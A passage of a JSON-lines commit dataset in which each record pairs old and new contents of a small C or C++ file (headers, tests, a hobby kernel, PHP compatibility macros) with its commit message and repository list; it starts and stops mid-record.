roidarmv6\/android_external_libunwind,atanasyan\/libunwind,unkadoug\/libunwind,joyent\/libunwind,atanasyan\/libunwind-android,project-zerus\/libunwind,mpercy\/libunwind,libunwind\/libunwind,atanasyan\/libunwind-android,Keno\/libunwind,atanasyan\/libunwind-android,DroidSim\/platform_external_libunwind,rogwfu\/libunwind,vtjnash\/libunwind,CyanogenMod\/android_external_libunwind,fdoray\/libunwind,rntz\/libunwind,djwatson\/libunwind,dreal-deps\/libunwind,tony\/libunwind,androidarmv6\/android_external_libunwind,androidarmv6\/android_external_libunwind,rntz\/libunwind,jrmuizel\/libunwind,rogwfu\/libunwind,olibc\/libunwind,tkelman\/libunwind,evaautomation\/libunwind,lat\/libunwind,martyone\/libunwind,fdoray\/libunwind,bo-on-software\/libunwind,djwatson\/libunwind,DroidSim\/platform_external_libunwind,geekboxzone\/mmallow_external_libunwind,SyndicateRogue\/libunwind,tony\/libunwind,yuyichao\/libunwind,martyone\/libunwind,cloudius-systems\/libunwind,lat\/libunwind,tronical\/libunwind,cms-externals\/libunwind,Chilledheart\/libunwind,krytarowski\/libunwind"}
{"commit":"6d989ccba4d79126c2976c430e53a9dff66943b7","old_file":"bst.h","new_file":"bst.h","old_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\ntypedef struct BSTNode BSTNode;\ntypedef struct BST BST;\n\nBST* BST_Create(void);\nBSTNode* BSTNode_Create(void* k);\nvoid BST_Inorder_Tree_Walk(BST* T, void (f)(void*));\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\ntypedef struct BSTNode BSTNode;\ntypedef struct BST BST;\n\nBST* BST_Create(void);\nBSTNode* BSTNode_Create(void* k);\nvoid BST_Inorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Preorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Postorder_Tree_Walk(BST* T, void (f)(void*));\n\n#endif","subject":"Add BST Pre\/Post order walk function declaration","message":"Add BST Pre\/Post order walk function declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"107caac8e8ce30c581e350f87ab769bf6c3c3d24","old_file":"433Rx\/MessageQueue.h","new_file":"433Rx\/MessageQueue.h","old_contents":"\/\/ Copyright 2014-2016 the project authors as listed in the AUTHORS file.\n\/\/ All rights reserved. Use of this source code is governed by the\n\/\/ license that can be found in the LICENSE file.\n\n#ifndef _MESSAGE_QUEUE\n#define _MESSAGE_QUEUE\n\n\/\/ note that on the arduino we have to be careful of how much memory we\n\/\/ use so the depth of the message queue needs to be kept small\n#define MAX_MESSAGES 8\n#define MAX_MESSAGE_TEXT_LENGTH 32\n\ntypedef struct Message {\n  void* device;\n  int type;\n  long timestamp;\n  unsigned long code;\n  float value;\n  char text[MAX_MESSAGE_TEXT_LENGTH];\n  Message* next;\n} Message;\n\nclass MessageQueue {\n  private:\n    Message messages[MAX_MESSAGES];\n    Message* newMessages;\n    Message* freeMessages;\n\n  public:\n    MessageQueue(void);\n    Message* getFreeMessage(void);\n    void enqueueMessage(Message* message);\n    Message* dequeueMessages(void);\n    void returnMessages(Message* messages, Message* lastMessage);\n};\n\n#endif\n","new_contents":"\/\/ Copyright 2014-2016 the project authors as listed in the AUTHORS file.\n\/\/ All rights reserved. Use of this source code is governed by the\n\/\/ license that can be found in the LICENSE file.\n\n#ifndef _MESSAGE_QUEUE\n#define _MESSAGE_QUEUE\n\n\/\/ note that on the arduino we have to be careful of how much memory we\n\/\/ use so the depth of the message queue needs to be kept small\n#define MAX_MESSAGES 8\n#define MAX_MESSAGE_TEXT_LENGTH 64\n\ntypedef struct Message {\n  void* device;\n  int type;\n  long timestamp;\n  unsigned long code;\n  float value;\n  char text[MAX_MESSAGE_TEXT_LENGTH];\n  Message* next;\n} Message;\n\nclass MessageQueue {\n  private:\n    Message messages[MAX_MESSAGES];\n    Message* newMessages;\n    Message* freeMessages;\n\n  public:\n    MessageQueue(void);\n    Message* getFreeMessage(void);\n    void enqueueMessage(Message* message);\n    Message* dequeueMessages(void);\n    void returnMessages(Message* messages, Message* lastMessage);\n};\n\n#endif\n","subject":"Extend size of text in Message","message":"Extend size of text in Message\n\nWas seeeing intermittent failures due to memmory corruption\ndue to exceeding the message size.\n","lang":"C","license":"mit","repos":"mhdawson\/arduino-esp8266,mhdawson\/arduino-esp8266"}
{"commit":"f7d94cd1d223a1e0ede58bb361e28e0f14ad4ff9","old_file":"bandit\/failure_formatters\/default_failure_formatter.h","new_file":"bandit\/failure_formatters\/default_failure_formatter.h","old_contents":"#ifndef BANDIT_DEFAULT_FAILURE_FORMATTER_H\n#define BANDIT_DEFAULT_FAILURE_FORMATTER_H\n\nnamespace bandit { namespace detail {\n\n  struct default_failure_formatter : public failure_formatter\n  {\n    std::string format(const assertion_exception& err) const\n    {\n      std::stringstream ss;\n      if(err.file_name().size())\n      {\n        ss << err.file_name();\n\n        if(err.line_number())\n        {\n          ss << \":\" << err.line_number();\n        }\n\n        ss << \": \";\n      }\n\n      ss << err.what();\n\n      return ss.str();\n    }\n  };\n}}\n\n#endif\n","new_contents":"#ifndef BANDIT_DEFAULT_FAILURE_FORMATTER_H\n#define BANDIT_DEFAULT_FAILURE_FORMATTER_H\n\nnamespace bandit { namespace detail {\n\n  struct default_failure_formatter : public failure_formatter\n  {\n    std::string format(const assertion_exception& err) const\n    {\n      std::stringstream ss;\n      if(err.file_name().size())\n      {\n        ss << err.file_name();\n\n        if(err.line_number())\n        {\n          ss << \":\" << err.line_number();\n        }\n\n        ss << \": \";\n      }\n\n      ss << std::endl << err.what();\n\n      return ss.str();\n    }\n  };\n}}\n\n#endif\n","subject":"Add line break in default error formatter","message":"Add line break in default error formatter\n","lang":"C","license":"mit","repos":"ogdf\/bandit,ogdf\/bandit"}
{"commit":"0061b22b7bfe41ca8e5ec39a199fc1c8fa9203d0","old_file":"libhfuzz\/libhfuzz.h","new_file":"libhfuzz\/libhfuzz.h","old_contents":"#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/*\n * buf: input fuzzing data\n * len: size of the 'buf' data\n *\n * Return value: should return 0\n *\/\n    int LLVMFuzzerTestOneInput(const uint8_t * buf, size_t len);\n\n\/*\n * argc: ptr to main's argc\n * argv: ptr to main's argv\n *\n * Return value: ignored\n *\/\n    int LLVMFuzzerInitialize(int *argc, char ***argv);\n\n\/*\n *\n * An alternative for LLVMFuzzerTestOneInput()\n *\n * buf_ptr: will be set to input fuzzing data\n * len_ptr: will be set to the size of the input fuzzing data\n *\/\n    void HF_ITER(const uint8_t ** buf_ptr, size_t * len_ptr);\n\n#if defined(_HF_ARCH_LINUX)\n\n\/*\n * Enter Linux namespaces\n *\n * cloneFlags: see 'man unshare'\n *\/\n    bool linuxEnterNs(uintptr_t cloneFlags);\n\/*\n * Bring network interface up\n *\n * ifacename: name of the interface, typically \"lo\"\n *\/\n    bool linuxIfaceUp(const char *ifacename);\n\/*\n * Mount tmpfs over a mount point\n *\n * dst: mount point for tmfs\n *\/\n    bool linuxMountTmpfs(const char *dst);\n\n#endif                          \/* defined(_HF_ARCH_LINUX) *\/\n\n#ifdef __cplusplus\n}                               \/* extern \"C\" *\/\n#endif\n","new_contents":"#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/*\n * buf: input fuzzing data\n * len: size of the 'buf' data\n *\n * Return value: should return 0\n *\/\n    int LLVMFuzzerTestOneInput(const uint8_t * buf, size_t len);\n\n\/*\n * argc: ptr to main's argc\n * argv: ptr to main's argv\n *\n * Return value: ignored\n *\/\n    int LLVMFuzzerInitialize(int *argc, char ***argv);\n\n\/*\n *\n * An alternative for LLVMFuzzerTestOneInput()\n *\n * buf_ptr: will be set to input fuzzing data\n * len_ptr: will be set to the size of the input fuzzing data\n *\/\n    void HF_ITER(const uint8_t ** buf_ptr, size_t * len_ptr);\n\n#if defined(__linux__)\n\n\/*\n * Enter Linux namespaces\n *\n * cloneFlags: see 'man unshare'\n *\/\n    bool linuxEnterNs(uintptr_t cloneFlags);\n\/*\n * Bring network interface up\n *\n * ifacename: name of the interface, typically \"lo\"\n *\/\n    bool linuxIfaceUp(const char *ifacename);\n\/*\n * Mount tmpfs over a mount point\n *\n * dst: mount point for tmfs\n *\/\n    bool linuxMountTmpfs(const char *dst);\n\n#endif                          \/* defined(__linux__) *\/\n\n#ifdef __cplusplus\n}                               \/* extern \"C\" *\/\n#endif\n","subject":"Change defined(_HF_ARCH_LINUX) -> defined(__linux__) for public includes","message":"Change defined(_HF_ARCH_LINUX) -> defined(__linux__) for public includes\n","lang":"C","license":"apache-2.0","repos":"google\/honggfuzz,google\/honggfuzz,anestisb\/honggfuzz,google\/honggfuzz"}
{"commit":"2f88e41681d84bf6cbe207601f10815dc3b753a2","old_file":"listing1\/listing1.c","new_file":"listing1\/listing1.c","old_contents":"# include <stdio.h>\n# include <libmill.h>\n# include <string.h>\n\ncoroutine void f(int index)\n{\n  printf(\"Worker %d\\n\", index);\n}\n\nint main(int argc, char **argv)\n{\n  for(int i=1;i<=10; i++) {\n    go(f(i));\n  }\n  return 0;\n}\n","new_contents":"# include <stdio.h>\n# include <libmill.h>\n\ncoroutine void f(int index)\n{\n  printf(\"Worker %d\\n\", index);\n}\n\nint main(int argc, char **argv)\n{\n  for(int i=1;i<=10; i++) {\n    go(f(i));\n  }\n  return 0;\n}\n","subject":"Remove extraneous string.h from listing 1","message":"Remove extraneous string.h from listing 1\n","lang":"C","license":"mit","repos":"amitsaha\/lj_libmill"}
{"commit":"b54ed8ead107fadf4da763ca544e721ca59aa263","old_file":"7segments.c","new_file":"7segments.c","old_contents":"#define L for(char*c=a[1],y;*c;)printf(\"%c%c%c%c\",(y=\"w$]m.k{o\"[*c++-48])&u\/4?124:32,y&u?95:32,y&u\/2?124:32,*c?32:10);u*=8;\nmain(int u,char**a){u=1;L;L;L}","new_contents":"#define L for(char*c=a[1],y;*c;)printf(\"%c%c%c%c\",(y=\"w$]m.k{%\\177o\"[*c++-48])&u\/4?124:32,y&u?95:32,y&u\/2?124:32,*c?32:10);u*=8;\nmain(int u,char**a){u=1;L;L;L}","subject":"Use \\177 instead of a special character inserted with a hex editor","message":"Use \\177 instead of a special character inserted with a hex editor\n","lang":"C","license":"mit","repos":"McZonk\/7segements,McZonk\/7segements"}
{"commit":"18a0d3b3babd8e527884358674c1279ab26552cc","old_file":"test\/profile\/instrprof-reset-counters.c","new_file":"test\/profile\/instrprof-reset-counters.c","old_contents":"\/\/ RUN: %clang_profgen -o %t -O3 %s\n\/\/ RUN: env LLVM_PROFILE_FILE=%t.profraw %run %t\n\/\/ RUN: llvm-profdata merge -o %t.profdata %t.profraw\n\/\/ RUN: %clang_profuse=%t.profdata -o - -S -emit-llvm %s | FileCheck %s\n\nvoid __llvm_profile_reset_counters(void);\nvoid foo(int);\nint main(void) {\n  foo(0);\n  __llvm_profile_reset_counters();\n  foo(1);\n  return 0;\n}\nvoid foo(int N) {\n  \/\/ CHECK-LABEL: define{{(dso_local)?}} void @foo(\n  \/\/ CHECK: br i1 %{{.*}}, label %{{.*}}, label %{{.*}}, !prof ![[FOO:[0-9]+]]\n  if (N) {}\n}\n\/\/ CHECK: ![[FOO]] = !{!\"branch_weights\", i32 2, i32 1}\n","new_contents":"\/\/ RUN: %clang_profgen -o %t -O3 %s\n\/\/ RUN: env LLVM_PROFILE_FILE=%t.profraw %run %t\n\/\/ RUN: llvm-profdata merge -o %t.profdata %t.profraw\n\/\/ RUN: %clang_profuse=%t.profdata -o - -S -emit-llvm %s | FileCheck %s\n\nvoid __llvm_profile_reset_counters(void);\nvoid foo(int);\nint main(void) {\n  foo(0);\n  __llvm_profile_reset_counters();\n  foo(1);\n  return 0;\n}\nvoid foo(int N) {\n  \/\/ CHECK-LABEL: define{{( dso_local)?}} void @foo(\n  \/\/ CHECK: br i1 %{{.*}}, label %{{.*}}, label %{{.*}}, !prof ![[FOO:[0-9]+]]\n  if (N) {}\n}\n\/\/ CHECK: ![[FOO]] = !{!\"branch_weights\", i32 2, i32 1}\n","subject":"Add space inside the regular expression.","message":"Add space inside the regular expression.\n\nThis should now pass on both ppc and x86. Sorry about the noise.\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@324556 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"1cd78585f239dce3a08fbdc31129e756903e88e5","old_file":"src\/util\/status_bar_layer.h","new_file":"src\/util\/status_bar_layer.h","old_contents":"","new_contents":"#pragma once\n\n#include <pebble.h>\n\n#ifndef PBL_PLATFORM_BASALT\n\ntypedef struct StatusBarLayer StatusBarLayer;\nstruct StatusBarLayer;\n\nstatic inline StatusBarLayer *status_bar_layer_create(void) {\n  return NULL;\n}\n\nstatic inline void status_bar_layer_destroy(StatusBarLayer *status_bar_layer) {\n}\n\nstatic inline Layer *status_bar_layer_get_layer(StatusBarLayer *status_bar_layer) {\n  return (Layer *)status_bar_layer;\n}\n\nstatic inline void status_bar_layer_add_to_window(Window *window, StatusBarLayer *status_bar_layer) {\n  window_set_fullscreen(window, false);\n}\n\nstatic inline void status_bar_layer_remove_from_window(Window *window, StatusBarLayer *status_bar_layer) {\n  window_set_fullscreen(window, true);\n}\n\n#else\n\nstatic inline void status_bar_layer_add_to_window(Window *window, StatusBarLayer *status_bar_layer) {\n  layer_add_child(window_get_root_layer(window), status_bar_layer_get_layer(status_bar_layer));\n}\n\nstatic inline void status_bar_layer_remove_from_window(Window *window, StatusBarLayer *status_bar_layer) {\n  layer_remove_from_parent(status_bar_layer_get_layer(status_bar_layer));\n}\n\n#endif\n","subject":"Add util status bar layer","message":"Add util status bar layer\n","lang":"C","license":"mit","repos":"youtux\/PebbleShows,arekom\/pebble-github,fletchto99\/pebblejs,frizzr\/CatchOneBus,zanesalvatore\/transit-watcher,ento\/pebblejs,dennisdegreef\/foober,pebble\/pebblejs,carlo-colombo\/dublin-bus-pebble,arekom\/pebble-github,tbloncar\/pebble-sitestatus,frizzr\/CatchOneBus,ishepard\/TransmissionTorrent,jsfi\/pebblejs,fletchto99\/pebblejs,bkbilly\/Tvheadend-EPG,pebble\/pebblejs,lavinjj\/pebblejs,sunshineyyy\/CatchOneBus,dhpark\/pebblejs,dennisdegreef\/foober,youtux\/PebbleShows,carlo-colombo\/dublin-bus-pebble,youtux\/pebblejs,jiangege\/pebblejs-project,frizzr\/CatchOneBus,stephanpavlovic\/pebble-kicker-app,carlo-colombo\/dublin-bus-pebble,fletchto99\/pebblejs,sunshineyyy\/CatchOneBus,tbloncar\/pebble-sitestatus,robinkam\/pebblejs,jsfi\/pebblejs,demophoon\/Trimet-Tracker,effata\/pebblejs,dennisdegreef\/foober,daduke\/LMSController,zanesalvatore\/transit-watcher,daduke\/LMSController,zanesalvatore\/transit-watcher,robinkam\/pebblejs,carlo-colombo\/dublin-bus-pebble,bkbilly\/Tvheadend-EPG,bkbilly\/Tvheadend-EPG,gwijsman\/OpenRemotePebble,Scoutski\/pebblejs,tbloncar\/pebble-sitestatus,ento\/pebblejs,stephanpavlovic\/pebble-kicker-app,dennisdegreef\/foober,ishepard\/TransmissionTorrent,youtux\/pebblejs,zanesalvatore\/transit-watcher,gwijsman\/OpenRemotePebble,demophoon\/Trimet-Tracker,gwijsman\/OpenRemotePebble,zanesalvatore\/transit-watcher,stephanpavlovic\/pebble-kicker-app,demophoon\/Trimet-Tracker,youtux\/PebbleShows,effata\/pebblejs,robinkam\/pebblejs,demophoon\/Trimet-Tracker,bkbilly\/Tvheadend-EPG,gwijsman\/OpenRemotePebble,arekom\/pebble-github,pebble\/pebblejs,ento\/pebblejs,jsfi\/pebblejs,jiangege\/pebblejs-project,effata\/pebblejs,dennisdegreef\/foober,ishepard\/TransmissionTorrent,fletchto99\/pebblejs,arekom\/pebble-github,Scoutski\/pebblejs,dhpark\/pebblejs,sunshineyyy\/CatchOneBus,lavinjj\/pebblejs,ento\/pebblejs,robinkam\/pebblejs,carlo-colombo\/dublin-bus-pebble,ento\/pebblejs,jiangege\/pebblejs-project,sunshineyyy\/CatchOneBus,demophoon\/Trimet-Tracker,Scoutski\/pebblejs,Scoutski\/pebblejs,daduke\/LMSController,arekom\/pebble-github,effata\/pebblejs,stephanpavlovic\/pebble-kicker-app,fletchto99\/pebblejs,lavinjj\/pebblejs,lavinjj\/pebblejs,pebble\/pebblejs,ishepard\/TransmissionTorrent,robinkam\/pebblejs,tbloncar\/pebble-sitestatus,Scoutski\/pebblejs,youtux\/pebblejs,dhpark\/pebblejs,sunshineyyy\/CatchOneBus,jsfi\/pebblejs,youtux\/pebblejs,gwijsman\/OpenRemotePebble,jiangege\/pebblejs-project,youtux\/PebbleShows,youtux\/pebblejs,frizzr\/CatchOneBus,effata\/pebblejs,jiangege\/pebblejs-project,jsfi\/pebblejs,tbloncar\/pebble-sitestatus,bkbilly\/Tvheadend-EPG,dhpark\/pebblejs,lavinjj\/pebblejs,daduke\/LMSController,ishepard\/TransmissionTorrent,pebble\/pebblejs,dhpark\/pebblejs,robinkam\/pebblejs,stephanpavlovic\/pebble-kicker-app,daduke\/LMSController"}
{"commit":"bb17b5e7ef14be5e038e938011d7e50981d0e049","old_file":"iv\/lv5\/radio\/block_size.h","new_file":"iv\/lv5\/radio\/block_size.h","old_contents":"#ifndef IV_LV5_RADIO_BLOCK_SIZE_H_\n#define IV_LV5_RADIO_BLOCK_SIZE_H_\n#include <iv\/static_assert.h>\n#include <iv\/arith.h>\nnamespace iv {\nnamespace lv5 {\nnamespace radio {\n\nclass Block;\n\nstatic const std::size_t kBlockSize = core::Size::KB * 4;\nstatic const uintptr_t kBlockMask = ~static_cast<uintptr_t>(kBlockSize - 1);\n\n\/\/ must be 2^n size\nIV_STATIC_ASSERT((1 << core::math::detail::CTZ<kBlockSize>::value) == kBlockSize);\n\n} } }  \/\/ namespace iv::lv5::radio\n#endif  \/\/ IV_LV5_RADIO_BLOCK_SIZE_H_\n","new_contents":"#ifndef IV_LV5_RADIO_BLOCK_SIZE_H_\n#define IV_LV5_RADIO_BLOCK_SIZE_H_\n#include <iv\/static_assert.h>\nnamespace iv {\nnamespace lv5 {\nnamespace radio {\nnamespace detail_block_size {\n\ntemplate<std::size_t x>\nstruct Is2Power {\n  static const bool value = x > 1 && (x & (x - 1)) == 0;\n};\n\n}  \/\/ namespace detail_block_size\n\nclass Block;\n\nstatic const std::size_t kBlockSize = core::Size::KB * 4;\nstatic const uintptr_t kBlockMask = ~static_cast<uintptr_t>(kBlockSize - 1);\n\n\/\/ must be 2^n size\nIV_STATIC_ASSERT(detail_block_size::Is2Power<kBlockSize>::value);\n\n} } }  \/\/ namespace iv::lv5::radio\n#endif  \/\/ IV_LV5_RADIO_BLOCK_SIZE_H_\n","subject":"Use Is2Power instead of ctz","message":"Use Is2Power instead of ctz\n","lang":"C","license":"bsd-2-clause","repos":"Constellation\/iv,Constellation\/iv,Constellation\/iv,Constellation\/iv"}
{"commit":"1b6a606bca13c30f4a6686f0c5e21eca05acfabc","old_file":"include\/error.h","new_file":"include\/error.h","old_contents":"#ifndef CPR_ERROR_H\n#define CPR_ERROR_H\n\n#include <string>\n\n#include \"cprtypes.h\"\n#include \"defines.h\"\n\nnamespace cpr {\n\nenum class ErrorCode {\n    OK = 0,\n    CONNECTION_FAILURE,\n    EMPTY_RESPONSE,\n    HOST_RESOLUTION_FAILURE,\n    INTERNAL_ERROR,\n    INVALID_URL_FORMAT,\n    NETWORK_RECEIVE_ERROR,\n    NETWORK_SEND_FAILURE,\n    OPERATION_TIMEDOUT,\n    PROXY_RESOLUTION_FAILURE,\n    SSL_CONNECT_ERROR,\n    SSL_LOCAL_CERTIFICATE_ERROR,\n    SSL_REMOTE_CERTIFICATE_ERROR,\n    SSL_CACERT_ERROR,\n    GENERIC_SSL_ERROR,\n    UNSUPPORTED_PROTOCOL,\n    UNKNOWN_ERROR = 1000,\n};\n\nErrorCode getErrorCodeForCurlError(int curlCode); \/\/int so we don't have to include curl.h\n\nclass Error {\npublic:\n    Error()\n        : code{ErrorCode::OK}, message{\"\"} {}\n\n    template <typename ErrorCodeType, typename TextType>\n    Error(ErrorCode& p_error_code, TextType&& p_error_message)\n        : code{p_error_code}, message{CPR_FWD(p_error_message)} {}\n\n\n    ErrorCode code;\n    std::string message;\n\n    \/\/allow easy checking of errors with:\n    \/\/   if(error) { do something; }\n    explicit operator bool() const {\n        return code != ErrorCode::OK;\n    }\n};\n\n} \/\/ namespace cpr\n\n#endif\n","new_contents":"#ifndef CPR_ERROR_H\n#define CPR_ERROR_H\n\n#include <string>\n\n#include \"cprtypes.h\"\n#include \"defines.h\"\n\nnamespace cpr {\n\nenum class ErrorCode {\n    OK = 0,\n    CONNECTION_FAILURE,\n    EMPTY_RESPONSE,\n    HOST_RESOLUTION_FAILURE,\n    INTERNAL_ERROR,\n    INVALID_URL_FORMAT,\n    NETWORK_RECEIVE_ERROR,\n    NETWORK_SEND_FAILURE,\n    OPERATION_TIMEDOUT,\n    PROXY_RESOLUTION_FAILURE,\n    SSL_CONNECT_ERROR,\n    SSL_LOCAL_CERTIFICATE_ERROR,\n    SSL_REMOTE_CERTIFICATE_ERROR,\n    SSL_CACERT_ERROR,\n    GENERIC_SSL_ERROR,\n    UNSUPPORTED_PROTOCOL,\n    UNKNOWN_ERROR = 1000,\n};\n\nErrorCode getErrorCodeForCurlError(int curl_code); \/\/int so we don't have to include curl.h\n\nclass Error {\npublic:\n    Error()\n        : code{ErrorCode::OK}, message{\"\"} {}\n\n    template <typename ErrorCodeType, typename TextType>\n    Error(ErrorCode& p_error_code, TextType&& p_error_message)\n        : code{p_error_code}, message{CPR_FWD(p_error_message)} {}\n\n\n    ErrorCode code;\n    std::string message;\n\n    \/\/allow easy checking of errors with:\n    \/\/   if(error) { do something; }\n    explicit operator bool() const {\n        return code != ErrorCode::OK;\n    }\n};\n\n} \/\/ namespace cpr\n\n#endif\n","subject":"Use lowercase underscore for variable name","message":"Use lowercase underscore for variable name\n","lang":"C","license":"mit","repos":"msuvajac\/cpr,msuvajac\/cpr,whoshuu\/cpr,whoshuu\/cpr,whoshuu\/cpr,msuvajac\/cpr,SuperV1234\/cpr,SuperV1234\/cpr,SuperV1234\/cpr"}
{"commit":"75b9cc56c2c0daa501a9f0b78dd7caf9d3c446b5","old_file":"kernel\/kernel.c","new_file":"kernel\/kernel.c","old_contents":"#include <stddef.h>\n#include <stdint.h>\n#include \"gdt.c\"\n#include \"idt.c\"\n#include \"isr.c\"\n#include \"terminal.h\"\n\n\n\/* Check if the compiler thinks if we are targeting the wrong operating system. *\/\n#if defined(__linux__)\n#error \"You are not using a cross-compiler, you will most certainly run into trouble\"\n#endif\n \n\/* This tutorial will only work for the 32-bit ix86 targets. *\/\n#if !defined(__i386__)\n#error \"This tutorial needs to be compiled with a ix86-elf compiler\"\n#endif\n \n \nvoid kernel_main()\n{\n\tgdt_install();\n\tidt_install();\n\tisrs_install();\n\tterm_initialize();\n\tterm_writestring(\"Interrupt?\\n\");\n\tint i = 5;\n\ti = i \/ 0;\n\tterm_writestring(\"Hello, Kernel!\");\n}\n","new_contents":"#include <stddef.h>\n#include <stdint.h>\n#include \"gdt.h\"\n#include \"idt.h\"\n#include \"isr.h\"\n#include \"terminal.h\"\n\n\n\/* Check if the compiler thinks if we are targeting the wrong operating system. *\/\n#if defined(__linux__)\n#error \"You are not using a cross-compiler, you will most certainly run into trouble\"\n#endif\n \n\/* This tutorial will only work for the 32-bit ix86 targets. *\/\n#if !defined(__i386__)\n#error \"This tutorial needs to be compiled with a ix86-elf compiler\"\n#endif\n \n \nvoid kernel_main()\n{\n\tgdt_install();\n\tidt_install();\n\tisrs_install();\n\tterm_initialize();\n\tterm_writestring(\"Interrupt?\\n\");\n\tint i = 5;\n\ti = i \/ 0;\n\tterm_writestring(\"Hello, Kernel!\");\n}\n","subject":"Change c files to header files.","message":"Change c files to header files.\n","lang":"C","license":"mit","repos":"awensaunders\/kernel-of-truth,awensaunders\/kernel-of-truth,Herbstein\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,Herbstein\/kernel-of-truth,awensaunders\/kernel-of-truth,Herbstein\/kernel-of-truth"}
{"commit":"ce889a4ce30953e987a1469d130fb753886667bb","old_file":"test\/CodeGen\/builtin-clzero.c","new_file":"test\/CodeGen\/builtin-clzero.c","old_contents":"\/\/ RUN: %clang_cc1 %s -triple=x86_64-apple-darwin -target-feature +clzero  -emit-llvm -o - -Wall -Werror | FileCheck %s\n#define __MM_MALLOC_H\n\n#include <x86intrin.h>\nvoid test_mm_clzero(void * __m) {\n  \/\/CHECK-LABEL: @test_mm_clzero\n  \/\/CHECK: @llvm.x86.clflushopt\n  _mm_clzero(__m);\n}\n","new_contents":"\/\/ RUN: %clang_cc1 %s -triple=x86_64-apple-darwin -target-feature +clzero  -emit-llvm -o - -Wall -Werror | FileCheck %s\n#define __MM_MALLOC_H\n\n#include <x86intrin.h>\nvoid test_mm_clzero(void * __m) {\n  \/\/CHECK-LABEL: @test_mm_clzero\n  \/\/CHECK: @llvm.x86.clzero\n  _mm_clzero(__m);\n}\n","subject":"Fix copy and paste bug in clzero test from r294559.","message":"[X86] Fix copy and paste bug in clzero test from r294559.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@294560 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"a02fb3a30f820c6573d52a898c5b1055b38f9b91","old_file":"php_compat_53.h","new_file":"php_compat_53.h","old_contents":"","new_contents":"#ifndef PHP_FE_END\n# define PHP_FE_END { NULL, NULL, NULL }\n#endif\n\n#ifndef HASH_KEY_NON_EXISTENT\n# define HASH_KEY_NON_EXISTENT HASH_KEY_NON_EXISTANT\n#endif\n","subject":"Isolate all PHP compatability stuff into its own file","message":"Isolate all PHP compatability stuff into its own file\n","lang":"C","license":"apache-2.0","repos":"jmikola\/mongo-php-driver,derickr\/mongo-php-driver,serebro\/mongo-php-driver-prototype,christkv\/phongo,10gen-labs\/mongo-php-driver-prototype,derickr\/mongo-php-driver-prototype,derickr\/mongo-php-driver-prototype,derickr\/mongo-php-driver-prototype,jmikola\/mongo-php-driver,mongodb-labs\/mongo-php-driver-prototype,bjori\/mongo-php-driver-prototype,christkv\/phongo,jmikola\/mongo-php-driver-prototype,10gen-labs\/mongo-php-driver-prototype,xplodwild\/mongo-php-driver-prototype,jmikola\/mongo-php-driver,derickr\/mongo-php-driver-prototype,jmikola\/mongo-php-driver-prototype,mongodb-labs\/mongo-php-driver-prototype,serebro\/mongo-php-driver-prototype,10gen-labs\/mongo-php-driver-prototype,mongodb-labs\/mongo-php-driver-prototype,bjori\/mongo-php-driver-prototype,serebro\/mongo-php-driver-prototype,jmikola\/mongo-php-driver-prototype,jmikola\/mongo-php-driver,bjori\/mongo-php-driver-prototype,christkv\/phongo,jmikola\/mongo-php-driver-prototype,christkv\/phongo,jmikola\/mongo-php-driver-prototype,mongodb\/mongo-php-driver,xplodwild\/mongo-php-driver-prototype,mongodb-labs\/mongo-php-driver-prototype,derickr\/mongo-php-driver,10gen-labs\/mongo-php-driver-prototype,mongodb\/mongo-php-driver,xplodwild\/mongo-php-driver-prototype,jmikola\/mongo-php-driver,bjori\/mongo-php-driver-prototype,10gen-labs\/mongo-php-driver-prototype,serebro\/mongo-php-driver-prototype,derickr\/mongo-php-driver,derickr\/mongo-php-driver,mongodb-labs\/mongo-php-driver-prototype,mongodb\/mongo-php-driver,derickr\/mongo-php-driver-prototype,serebro\/mongo-php-driver-prototype,xplodwild\/mongo-php-driver-prototype,xplodwild\/mongo-php-driver-prototype,derickr\/mongo-php-driver,mongodb\/mongo-php-driver,derickr\/mongo-php-driver,bjori\/mongo-php-driver-prototype,mongodb\/mongo-php-driver"}
{"commit":"3f150a8d8b571ca3f072d3ced1b3272aa82b9ea9","old_file":"lib\/MetaProcessor\/Display.h","new_file":"lib\/MetaProcessor\/Display.h","old_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author:  Timur Pocheptsov <Timur.Pocheptsov@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_DISPLAY_H\n#define CLING_DISPLAY_H\n\n#include <string>\n\nnamespace llvm {\n  class raw_ostream;\n}\n\nnamespace cling {\n\nvoid DisplayClasses(llvm::raw_ostream &stream,\n                    const class Interpreter *interpreter, bool verbose);\nvoid DisplayClass(llvm::raw_ostream &stream, \n                  const Interpreter *interpreter, const char *className, \n                  bool verbose);\n\nvoid DisplayGlobals(llvm::raw_ostream &stream, const Interpreter *interpreter);\nvoid DisplayGlobal(llvm::raw_ostream &stream, const Interpreter *interpreter, \n                   const std::string &name);\n\n}\n\n#endif\n","new_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based 